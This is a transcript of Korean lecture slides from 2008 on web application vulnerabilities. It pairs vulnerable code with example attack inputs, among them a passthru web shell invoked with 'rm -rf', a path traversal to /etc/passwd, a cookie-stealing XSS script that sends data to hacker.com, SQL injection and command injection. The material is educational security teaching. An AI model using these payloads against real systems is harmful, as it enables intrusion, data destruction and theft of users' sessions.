Web Vulnerabilities

Download Report

Transcript Web Vulnerabilities

Web
Vulnerabilities
정보
보호
2008/05/31
Getroot
Abstract
지난 10년간 웹 어플리케이션 보안의 중요성이 매우 크게 증가
웹 기반의 대형 시스템이 많이 출현하였음
금융, 의료 서비스
하지만, 현재 웹 보안은 그 수준이 미약함
웹 시스템이 중요해졌음에도 불구하고 대부분의 시스템 보안 연구는 BoF나 Format
string 에 치중됨
상업적으로 Web firewall이 사용되고 있지만 효과가 미비하여 점점 사용이 줄어듦
대부분의 웹 공격은 웹 어플리케이션에서 발생
사용자와 상호 작용
아직 실제로 사용하는 여러 웹 어플리케이션의 취약점에 대해 자세히 알아보고
웹 공격에 대한 대응 방법 연구
2
웹 공격 분류
Injecting Malicious Data
웹 어플리케이션에 조작된 데이터를 입력하는 공격
Parameter Tampering
URL Tampering
Hidden Field Manipulation
HTTP Header Manipulation
Cookie Poisoning
Executable File Upload
Exploiting Unchecked Input
사용자의 입력을 체크하지 않아서 발생하는 공격
SQL Injection
Cross-site Scripting
HTTP Response Splitting
Path Traversal
Command Injection
3
Parameter Tampering
웹 어플리케이션에서 사용하는 Parameter를 강제로 입력하는 공격
HTML 페이지를 수정하여 쉽게 Parameter를 강제 입력할 수 있음
특수 문자 입력을 금지하거나 공백을 금지하는 경우
텍스트 박스에 미리 값을 넣은 후(예: 상품의 가격) 이를 Read only로 단순하게 처리
하는 경우
웹 페이지를 저장한 후 조작하여 다시 전송하는 방법으로 공격
[In HTML]
…
<script>var form = document.Login;
if(!form.id.value){ return false; }</script>
…
<input type="text" id="id" name="id“>
[In Java]
String strID = request.getParameter(“id”);
4
URL Tampering
URL에 데이터가 있는 경우 이를 조작하여 공격
HTTP Protocol상 Get method를 이용하여 동작하는 방식을 공격
해당 URL에 직접 연결하여 공격
[ 정상 ]
http://www.bank.com/myaccount?Sender=Attacker&DebitAmount=1000
[공격]
http://www.bank.com/myaccount?Sender=Attacker&DebitAmount=-5000
5
Hidden Field Manipulation
웹 페이지가 Hidden 태그를 이용하여 값을 웹 어플리케이션으로 전달하는 방법
을 역이용
웹 페이지를 저장한 후 조작하여 다시 전송하는 방법으로 공격
[ 정상 ]
<input type=“hidden” name=“price” value=“100000”>
[공격]
<input type=“hidden” name=“price” value=“10”>
6
HTTP Header Manipulation
웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케
이션이 오동작 하도록 유인
A와 B 사이트가 있을 경우 A사이트를 통해 B사이트를 연결하는 것을 신뢰하기
위해 HTTP Header의 REFERER 필드를 이용
B사이트에 데이터를 전송하면서 C사이트를 통해 온 것처럼 속임
예) Cyworld에서 인터넷 결제 사이트에 연결
[HTTP Header]
GET Sell.php
REFERER http://www.naver.com
…
7
Cookie Poisoning
서버의 부하를 줄이면서 사용자의 State를 저장하기 위해 Cookie를 이용
Cookie를 조작하여 원하는 결과를 도출해 냄
예) ID를 다른 사용자로 조작하여 물건을 구매
[Cookie file]
ID=abc SessionID=1111
8
Executable File Upload
웹서버에서 실행될 수 있는 파일을 업로드하여 원하는 코드를 실행
현재 많은 웹 서버에서 php, jsp, asp 파일 업로드를 막고 있지만 여러 가지 방법
으로 우회
예) Apache의 기능 중, 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp와 같은 확
장자를 사용함  hack.php.kr 파일을 업로드 하면 확장자가 kr이지만 php로 인식
[Hack.php]
passthru($cmd)
[공격]
http://www.victim.com/hack.php.kr?cmd=“rm –rf “
9
SQL Injection
사용자 입력이 back-end database에 바로 전달되어 실행되는 취약점
웹 페이지의 Input tag에서 원하는 SQL문을 바로 넣는 것으로 공격 가능
아래 공격은 모든 사용자 이름을 출력하게 함
[JAVA]
HttpServletRequest request = ...;
String userName = request.getParameter("name");
Connection con = ...
String query = "SELECT * FROM Users " + " WHERE name = ’" + userName + "’";
con.execute(query);
[공격]
<input type=“text” name=“name” value=“’or 1=1;”>
10
Cross-site Scripting
동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 원하는 코드
는 실행하게 하는 방법
실행 예)
다른 사용자의 개인 정보를 자신의 메일로 전송하게 함
다른 사용자에게 악성 코드를 설치함
동적으로 생성되는 Page에 특수한 코드를 넣는 것으로 쉽게 가능
[생성된 페이지]
<script>…
String strCookie = Document.GetCookie()
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
…</script>
[공격]
사용자는 자신의 Cookie 정보를 모두 공격자에게 전송하게 됨
11
HTTP Response Splitting
웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 갖고 있다면
Response를 조작하여 Proxy 서버를 공격
Proxy Server를 조작
Last-Modified 필드를 조작하여 Cache 날짜를 조작
Cache-Control 필드를 조작하여 Cache 데이터를 조작
[JSP]
response.sendRedirect("/by_lang.jsp?lang=“+request.getParameter("lang"));
[공격]
http://victim.com/ redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Getroot</html>
http://victim.com//index.html
12
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http:// victim.com
/by_lang.jsp?lang=foobar
Content-Length: 0
<index.html 에 매칭>
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Path Traversal
URL에서 Path를 직접적으로 사용한다면 조작된 디렉토리 명령으로 공격
[정상]
http://www.victim.com/OpenFile.jsp?text.txt
[공격]
http://www.victim.com/OpenFile.jsp?../../etc/passwd
13
Command Injection
웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용한다면 이
를 조작하여 원하는 명령을 실행
[ListFile.php]
Passthru(ls $path);
[정상]
http://www.victim.com/ListFile.php?path=/etc/
[공격]
http://www.victim.com/ListFile.php?path=“/etc/;rm -rf”
14